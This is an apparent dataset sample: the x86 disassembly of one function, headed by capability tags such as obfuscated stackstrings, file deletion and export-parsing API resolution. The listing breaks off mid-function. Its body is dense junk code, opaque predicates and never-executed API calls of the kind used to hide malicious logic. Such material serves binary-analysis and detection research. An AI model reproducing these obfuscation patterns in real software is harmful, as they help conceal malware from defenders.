Function at 0x10017c5f
Capabilities:
Check os version
Contain obfuscated stackstrings
Create pipe
Delete file
Get common file path
Get disk information
Get memory capacity
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10074379
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1694
call fcn.1006f5f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 2
lea ecx, [ebp - 0xefc]
call fcn.100223ce
and dword [ebp - 4], 0
mov dword [ebp - 0xd6c], 1
mov dword [ebp - 0xd68], 1
mov dword [ebp - 0xd64], 1
mov dword [ebp - 0xd60], 1
mov dword [ebp - 0x3f8], 0
jmp 0x10017cda
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 2
jge 0x10017cf9
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0xefc]
call fcn.1002246c
and dword [eax], 0
jmp 0x10017ccd
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xd6c], 1
jmp 0x10017d24
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd6c]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xd6c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd6c], 0
jl 0x10017dde
mov dword [ebp - 0x410], 0
jmp 0x10017d50
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 2
jge 0x10017d6c
mov eax, dword [ebp - 0x410]
mov dword [ebp + eax*4 - 0x4c8], 1
jmp 0x10017d43
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x4c8], 0
jmp 0x10017d9a
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4c8]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x4c8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4c8], 2
jge 0x10017dc7
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x4c8]
lea ecx, [ebp - 0xefc]
call fcn.1002246c
or dword [eax], 0xffffffff
jmp 0x10017d7f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4c8], 0
je 0x10017dd9
jmp 0x10017dde
jmp 0x10017d0b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xefc]
call fcn.10022450
cmp dword [ebp + 0x10], 0
jbe 0x10017f75
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10017f75
mov dword [ebp - 0x420], 0xfe7d8a87
mov dword [ebp - 0x418], 0
jmp 0x10017e26
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 1
jge 0x10017e42
mov eax, dword [ebp - 0x418]
mov dword [ebp + eax*4 - 0xc50], 0xfffffffd
jmp 0x10017e19
mov byte [ebp - 0x17e], 0
movzx eax, byte [ebp - 0x17e]
test eax, eax
je 0x10017e5f
push 0x4c0
call dword [sym.imp.USER32.dll_GetSysColor]
mov dword [ebp - 0x420], 0
jmp 0x10017e78
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jg 0x10017f61
mov dword [ebp - 0x21c], 0xffffffff
mov byte [ebp - 0x117], 0
movzx eax, byte [ebp - 0x117]
test eax, eax
je 0x10017eab
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
mov dword [ebp - 0x21c], 0
jmp 0x10017ec4
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
jg 0x10017f5c
mov eax, dword [ebp - 0x21c]
cmp dword [ebp + eax*4 - 0xc50], 0
je 0x10017f2d
mov dword [ebp - 0x37c], 0xffffffff
mov dword [ebp - 0x37c], 0
jmp 0x10017f04
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jl 0x10017f2b
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x10017f29
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x10017ef7
jmp 0x10017f57
mov byte [ebp - 0x11b], 0
movzx eax, byte [ebp - 0x11b]
test eax, eax
je 0x10017f57
push 0x1277
push 0
push 0x34
push 0
push 0
push 0x1f15
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x10017eb7
jmp 0x10017e6b
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1001328e
pop ecx
pop ecx
jmp 0x10020f67
mov dword [ebp - 0x48], 0xa4a9
mov dword [ebp - 0x68], 0x55459eed
mov dword [ebp - 0x1e4], 1
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0x430], 0x519fd4aa
cmp dword [ebp - 0x48], 0
je 0x100181da
mov dword [ebp - 0x88], 0xffffffff
mov dword [ebp - 0xa08], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0xfb8], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x88]
jne 0x10017fe5
mov dword [ebp - 0x5a0], 1
jmp 0x10017fec
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5a0]
sub eax, 0x7ec5c244
cmp eax, dword [ebp - 0x48]
je 0x10018008
mov dword [ebp - 0x9c8], 1
jmp 0x1001800f
and dword [ebp - 0x9c8], 0
cmp dword [ebp - 0x9c8], 0x251c
jle 0x10018027
mov dword [ebp - 0x9d0], 1
jmp 0x1001802e
and dword [ebp - 0x9d0], 0
cmp dword [ebp - 0x9d0], 0xefa2
jge 0x10018046
mov dword [ebp - 0x9d8], 1
jmp 0x1001804d
and dword [ebp - 0x9d8], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x9d8], eax
jg 0x10018067
mov dword [ebp - 0x9e0], 1
jmp 0x1001806e
and dword [ebp - 0x9e0], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x9e0]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x88]
jg 0x10018094
mov dword [ebp - 0x9e8], 1
jmp 0x1001809b
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0x9e8], eax
jge 0x100180b5
mov dword [ebp - 0xb40], 1
jmp 0x100180bc
and dword [ebp - 0xb40], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1188], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1080], eax
cmp dword [ebp - 0x88], 0
jne 0x100180e3
mov dword [ebp - 0x9f0], 1
jmp 0x100180ea
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x9f0], eax
jne 0x10018101
mov dword [ebp - 0x9f8], 1
jmp 0x10018108
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
cmp eax, dword [ebp - 0x88]
jge 0x1001812e
mov dword [ebp - 0xa00], 1
jmp 0x10018135
and dword [ebp - 0xa00], 0
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0xa00]
add eax, dword [ebp - 0x68]
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 1
je 0x10018160
mov dword [ebp - 0xa10], 1
jmp 0x10018167
and dword [ebp - 0xa10], 0
mov eax, dword [ebp - 0xa10]
sub eax, 0xfffa
cmp eax, dword [ebp - 0x88]
jne 0x10018186
mov dword [ebp - 0xa5c], 1
jmp 0x1001818d
and dword [ebp - 0xa5c], 0
mov eax, dword [ebp - 0x88]
cmp dword [ebp - 0xa5c], eax
jle 0x100181a7
mov dword [ebp - 0xa64], 1
jmp 0x100181ae
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0xa64]
jle 0x100181c5
mov dword [ebp - 0xa6c], 1
jmp 0x100181cc
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0xa6c]
mov dword [ebp - 0x68], eax
jmp 0x10018508
mov dword [ebp - 0x20c], 0x2c9d
mov dword [ebp - 0xe4], 5
cmp dword [ebp - 0x48], 0x43d4
jge 0x10018203
mov dword [ebp - 0xa74], 1
jmp 0x1001820a
and dword [ebp - 0xa74], 0
cmp dword [ebp - 0xa74], 1
jb 0x1001821f
mov dword [ebp - 0xa7c], 1
jmp 0x10018226
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0x20c]
imul eax, dword [ebp - 0xa7c]
mov ecx, 0x7a54
sub ecx, dword [ebp - 0x68]
cmp ecx, eax
jne 0x1001824b
mov dword [ebp - 0xa90], 1
jmp 0x10018252
and dword [ebp - 0xa90], 0
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 1
jle 0x10018273
mov dword [ebp - 0x7d4], 1
jmp 0x1001827a
and dword [ebp - 0x7d4], 0
cmp dword [ebp - 0x7d4], 0xfffffffa
je 0x1001828f
mov dword [ebp - 0x9c0], 1
jmp 0x10018296
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
sub eax, dword [ebp - 0x68]
je 0x100182bf
cmp dword [ebp - 0x48], 0
je 0x100182bf
mov dword [ebp - 0xb44], 1
jmp 0x100182c6
and dword [ebp - 0xb44], 0
mov eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x48]
jne 0x100182dd
mov dword [ebp - 0x4ec], 1
jmp 0x100182e4
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
sub eax, dword [ebp - 0x20c]
cmp eax, 0xc3fc
jge 0x10018316
mov byte [ebp - 0x11d], 0
movzx eax, byte [ebp - 0x11d]
test eax, eax
je 0x10018311
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
jmp 0x10018508
mov dword [ebp - 0x294], 0x348e7
cmp dword [ebp - 0x48], 0
jne 0x10018332
mov dword [ebp - 0x514], 1
jmp 0x10018339
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x126c], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x1088], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x1190], eax
mov eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x1090], eax
cmp dword [ebp - 0xe4], 1
jbe 0x10018378
mov dword [ebp - 0x94c], 1
jmp 0x1001837f
and dword [ebp - 0x94c], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x94c], eax
jl 0x10018399
mov dword [ebp - 0x4f4], 1
jmp 0x100183a0
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0xe4]
cmp dword [ebp - 0x4f4], eax
jg 0x100183cc
cmp dword [ebp - 0x50c], 0
je 0x100183cc
mov eax, 0x3cb7
test eax, eax
je 0x100183cc
mov dword [ebp - 0x7dc], 1
jmp 0x100183d3
and dword [ebp - 0x7dc], 0
cmp dword [ebp - 0x7dc], 0xfffffff8
je 0x100183e8
mov dword [ebp - 0x4fc], 1
jmp 0x100183ef
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x4fc], eax
jg 0x10018409
mov dword [ebp - 0xa30], 1
jmp 0x10018410
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0xa30], eax
jg 0x1001842a
mov dword [ebp - 0x504], 1
jmp 0x10018431
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x504]
neg eax
imul eax, dword [ebp - 0x430]
cmp dword [ebp - 0x294], eax
jne 0x10018454
mov dword [ebp - 0x7e4], 1
jmp 0x1001845b
and dword [ebp - 0x7e4], 0
cmp dword [ebp - 0x7e4], 0xffffffff
jl 0x10018470
mov dword [ebp - 0x954], 1
jmp 0x10018477
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x50c]
cmp dword [ebp - 0x954], eax
jl 0x10018497
cmp dword [ebp - 0x1e4], 0
jne 0x10018497
and dword [ebp - 0x7ec], 0
jmp 0x100184a1
mov dword [ebp - 0x7ec], 1
mov eax, dword [ebp - 0x514]
add eax, dword [ebp - 0x7ec]
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
imul eax, dword [ebp - 0x20c]
sub eax, 7
cmp eax, dword [ebp - 0x20c]
jge 0x100184d7
mov dword [ebp - 0x51c], 1
jmp 0x100184de
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x51c], eax
jne 0x100184f5
mov dword [ebp - 0xa0c], 1
jmp 0x100184fc
and dword [ebp - 0xa0c], 0
mov eax, dword [ebp - 0xa0c]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x29c], 0x43d837bc
mov dword [ebp - 0x424], 0
jmp 0x1001852b
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 1
jge 0x10018547
mov eax, dword [ebp - 0x424]
mov dword [ebp + eax*4 - 0x120c], 0x624039b
jmp 0x1001851e
mov byte [ebp - 0x11f], 0
movzx eax, byte [ebp - 0x11f]
test eax, eax
je 0x10018561
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov dword [ebp - 0x29c], 0
jmp 0x1001857a
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 0
jg 0x100185fe
mov dword [ebp - 0x3ac], 0xf55e00fe
mov dword [ebp - 0x524], 0x869ec427
mov dword [ebp - 0x3ac], 0
jmp 0x100185b0
mov eax, dword [ebp - 0x3ac]
dec eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0
jl 0x100185df
mov dword [ebp - 0x7f4], 0xbe39e3cf
mov eax, dword [ebp - 0x524]
dec eax
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x7f4]
dec eax
mov dword [ebp - 0x7f4], eax
jmp 0x100185a3
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x100185f9
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
jmp 0x1001856d
cmp dword [ebp + 0x10], 0
jne 0x1001b9a1
mov dword [ebp - 0x130], 0x31551da6
mov dword [ebp - 0xb64], 0x59ec1348
mov dword [ebp - 0x128], 1
mov dword [ebp - 0x2a4], 0
jmp 0x1001863f
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 2
jge 0x1001865b
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0x190], 0x110c93b4
jmp 0x10018632
mov dword [ebp - 0xb4c], 0x1645
cmp dword [ebp - 0xb4c], 0x54e
jge 0x10018799
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0xb5c]
push eax
push 0x10007de0
call fcn.1005ab7b
add esp, 0xc
and dword [ebp - 0xb54], 0
lea eax, [ebp - 0xb54]
push eax
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0xea8]
call fcn.100225ca
mov dword [ebp - 4], 1
and dword [ebp - 0x194], 0
jmp 0x100186cc
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x1ec]
jge 0x1001873d
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x1ec]
and eax, 0x80000001
jns 0x100186f2
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
je 0x10018702
mov dword [ebp - 0x52c], 1
jmp 0x10018709
or dword [ebp - 0x52c], 0xffffffff
mov eax, dword [ebp - 0x52c]
imul eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x1ec]
lea eax, [ecx + eax - 1]
cdq
sub eax, edx
mov esi, eax
sar esi, 1
inc esi
push dword [ebp - 0x194]
lea ecx, [ebp - 0xea8]
call fcn.1002246c
mov dword [eax], esi
jmp 0x100186bf
and dword [ebp - 0x3ec], 0
jmp 0x10018753
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
mov eax, dword [ebp - 0x3ec]
cmp eax, dword [ebp - 0xb5c]
jge 0x1001878a
mov eax, dword [ebp - 0x3ec]
cdq
idiv dword [ebp - 0x1ec]
push edx
lea ecx, [ebp - 0xea8]
call fcn.1002246c
push dword [eax]
push 0x10007dec
call fcn.1005af25
pop ecx
pop ecx
jmp 0x10018746
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xea8]
call fcn.10022450
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x190], 0
jmp 0x100187c7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x190], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x190], 0x11
jge 0x10018a14
mov dword [ebp - 0x804], 0xc0bf90a2
mov dword [ebp - 0x2ac], 0
jmp 0x100187fe
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 3
jge 0x1001881a
mov eax, dword [ebp - 0x2ac]
mov dword [ebp + eax*4 - 0x10fc], 0xffffffff
jmp 0x100187f1
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x130], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x190]
cmp ecx, dword [ebp + eax - 0x190]
je 0x1001884e
mov dword [ebp - 0x95c], 1
jmp 0x10018855
and dword [ebp - 0x95c], 0
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x190]
add ecx, dword [ebp - 0x95c]
cmp ecx, dword [ebp + eax - 0x190]
je 0x10018883
mov dword [ebp - 0x534], 1
jmp 0x1001888a
and dword [ebp - 0x534], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x190]
imul ecx, dword [ebp - 0x534]
imul ecx, dword [ebp + eax - 0x190]
cmp ecx, 0x61e7
jl 0x100188c0
mov dword [ebp - 0x7fc], 1
jmp 0x100188c7
and dword [ebp - 0x7fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
cmp dword [ebp - 0x7fc], eax
jne 0x100188e8
mov dword [ebp - 0x53c], 1
jmp 0x100188ef
and dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0xb64]
cmp dword [ebp - 0x53c], eax
jg 0x10018909
mov dword [ebp - 0xa34], 1
jmp 0x10018910
and dword [ebp - 0xa34], 0
mov eax, dword [ebp - 0x804]
cmp dword [ebp - 0xa34], eax
jle 0x1001892a
mov dword [ebp - 0x544], 1
jmp 0x10018931
and dword [ebp - 0x544], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x190]
sub eax, dword [ebp - 0x544]
mov dword [ebp - 0x54c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x54c]
mov dword [ebp + eax - 0x10fc], ecx
mov eax, dword [ebp - 0x804]
cmp eax, dword [ebp - 0x54c]
jg 0x10018977
mov dword [ebp - 0x964], 1
jmp 0x1001897e
and dword [ebp - 0x964], 0
cmp dword [ebp - 0x964], 0x189d9e62
jge 0x10018996
mov dword [ebp - 0x554], 1
jmp 0x1001899d
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
je 0x100189da
mov byte [ebp - 0x123], 0
movzx eax, byte [ebp - 0x123]
test eax, eax
je 0x100189d8
push 0
push 0x21ee
push 0
push 0x817
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
jmp 0x10018a0f
mov dword [ebp - 0x128], 0
jmp 0x100189f3
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 3
jge 0x10018a0f
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x10fc], 1
jmp 0x100189e6
jmp 0x100187ac
mov dword [ebp - 0x130], 1
jmp 0x10018a2d
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x10018a8d
mov eax, dword [ebp - 0x130]
cmp dword [ebp + eax*4 - 0x190], 0xefc16765
jae 0x10018a55
mov dword [ebp - 0x80c], 1
jmp 0x10018a5c
and dword [ebp - 0x80c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x80c]
mov dword [ebp + eax - 0x190], ecx
mov byte [ebp - 0x17b], 0
movzx eax, byte [ebp - 0x17b]
test eax, eax
je 0x10018a8b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
jmp 0x10018a20
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1000ace8
mov dword [ebp - 0x300], eax
push 3
lea ecx, [ebp - 0x4b4]
call fcn.100223ce
mov dword [ebp - 4], 2
mov dword [ebp - 0x90], 8
mov dword [ebp - 0x564], 0xa6001648
mov dword [ebp - 0x96c], 4
mov dword [ebp - 0x824], 2
push 2
lea ecx, [ebp - 0xf2c]
call fcn.100223ce
mov byte [ebp - 4], 3
mov dword [ebp - 0xb0], 0
jmp 0x10018b04
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x10018b26
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
mov dword [eax], 0x3b4e
jmp 0x10018af7
mov dword [ebp - 0xb0], 0
jmp 0x10018b3f
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x10018b61
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xf2c]
call fcn.1002246c
mov dword [eax], 1
jmp 0x10018b32
mov byte [ebp - 0x16c], 0
movzx eax, byte [ebp - 0x16c]
test eax, eax
je 0x10018b82
push 1
push 0
push 0x2135
call dword [sym.imp.GDI32.dll_SelectPalette]
mov dword [ebp - 0x90], 0
jmp 0x10018b9b
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 2
jg 0x10018e48
mov dword [ebp - 0x2b4], 0xbb0cb8ce
mov dword [ebp - 0x40c], 0x672ca3c0
mov dword [ebp - 0x574], 3
mov dword [ebp - 0x3b4], 0
jmp 0x10018bdf
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 3
jge 0x10018bfb
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0xeb4], 3
jmp 0x10018bd2
mov dword [ebp - 0x2b4], 0xf759609c
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x55c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x55c]
mov dword [ebp + eax - 0xeb4], ecx
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x40c], eax
mov esi, dword [ebp - 0x90]
push dword [ebp - 0x90]
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
cmp dword [eax], esi
je 0x10018c56
mov dword [ebp - 0xa14], 1
jmp 0x10018c5d
and dword [ebp - 0xa14], 0
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xeb4], 8
push 1
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
mov ecx, dword [ebp - 0xa14]
imul ecx, dword [eax]
push 8
pop eax
neg eax
cmp eax, ecx
jle 0x10018c98
mov dword [ebp - 0x814], 1
jmp 0x10018c9f
and dword [ebp - 0x814], 0
push 1
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
mov eax, dword [eax]
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
imul eax, dword [ebp - 0x814]
test eax, eax
je 0x10018ce0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xeb4], 0
je 0x10018ce0
mov dword [ebp - 0x56c], 1
jmp 0x10018ce7
and dword [ebp - 0x56c], 0
mov eax, dword [ebp - 0x40c]
cmp dword [ebp - 0x56c], eax
jne 0x10018d01
mov dword [ebp - 0xb6c], 1
jmp 0x10018d08
and dword [ebp - 0xb6c], 0
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x1098], eax
push 2
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
push 2
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
mov eax, dword [eax]
mov dword [ebp - 0x96c], eax
mov eax, dword [ebp - 0x96c]
mov dword [ebp - 0x574], eax
cmp dword [ebp - 0x574], 0x435e
jl 0x10018d5a
mov dword [ebp - 0x81c], 1
jmp 0x10018d61
and dword [ebp - 0x81c], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x81c], eax
jle 0x10018d7b
mov dword [ebp - 0x57c], 1
jmp 0x10018d82
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x57c]
je 0x10018d9c
mov dword [ebp - 0xb74], 1
jmp 0x10018da3
and dword [ebp - 0xb74], 0
push 0
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
cmp dword [eax], 0x1361131e
je 0x10018dc4
mov dword [ebp - 0xa3c], 1
jmp 0x10018dcb
and dword [ebp - 0xa3c], 0
mov eax, dword [ebp - 0xa3c]
mov dword [ebp - 0x40c], eax
mov esi, dword [ebp - 0x40c]
push dword [ebp - 0x90]
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
mov eax, dword [eax]
sub eax, esi
cmp eax, 0x25cf162c
je 0x10018e18
push dword [ebp - 0x90]
lea ecx, [ebp - 0x4b4]
call fcn.1002246c
cmp dword [eax], 0
jne 0x10018e18
and dword [ebp - 0x584], 0
jmp 0x10018e22
mov dword [ebp - 0x584], 1
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x824], eax
mov esi, dword [ebp - 0x824]
push 0
lea ecx, [ebp - 0xf2c]
call fcn.1002246c
mov dword [eax], esi
jmp 0x10018b8e
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xf2c]
call fcn.10022450
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4b4]
call fcn.10022450
mov dword [ebp - 0x2bc], 0
mov dword [ebp - 0xe64], 0x8e5ccc90
mov dword [ebp - 0xe60], 0x8e5ccc90
mov dword [ebp - 0xe5c], 0x8e5ccc90
mov dword [ebp - 0xe58], 0x8e5ccc90
lea ecx, [ebp - 0x451]
call fcn.1002247b
push eax
lea eax, [ebp - 0xe54]
push eax
lea eax, [ebp - 0xe64]
push eax
lea ecx, [ebp - 0x131c]
call fcn.1002247e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x110c]
call fcn.1002242a
mov dword [ebp - 4], 4
mov dword [ebp - 0x2bc], 0xffffffe9
jmp 0x10018eed
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0xffffffef
jg 0x10018fc4
push 1
lea ecx, [ebp - 0xb18]
call fcn.100223ce
mov byte [ebp - 4], 5
mov dword [ebp - 0x3bc], 0
jmp 0x10018f24
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 1
jge 0x10018f46
push dword [ebp - 0x3bc]
lea ecx, [ebp - 0xb18]
call fcn.1002246c
mov dword [eax], 0xfffffff7
jmp 0x10018f17
push 0
lea ecx, [ebp - 0xb18]
call fcn.1002246c
and dword [eax], 0
jmp 0x10018f7c
push 0
lea ecx, [ebp - 0xb18]
call fcn.1002246c
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x58c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xb18]
call fcn.1002246c
cmp dword [eax], 4
jge 0x10018fb0
push 0
lea ecx, [ebp - 0xb18]
call fcn.1002246c
push dword [eax]
lea ecx, [ebp - 0x110c]
call fcn.1002246c
mov dword [eax], 0x7a3a11c1
jmp 0x10018f58
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb18]
call fcn.10022450
jmp 0x10018ee0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x110c]
call fcn.10022450
mov dword [ebp - 0xa50], 0x578a
mov dword [ebp - 0xb80], 0x10007df8
cmp dword [ebp - 0xa50], 0x58b9
jle 0x100190ff
and dword [ebp - 0x2cc], 0
jmp 0x1001900d
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x5a33
jge 0x100190ff
and dword [ebp - 0x3c4], 0
jmp 0x10019033
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x7687
jge 0x100190fa
and dword [ebp - 0x2c4], 0
jmp 0x10019059
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x20f2
jge 0x100190f5
and dword [ebp - 0x3f4], 0
jmp 0x1001907f
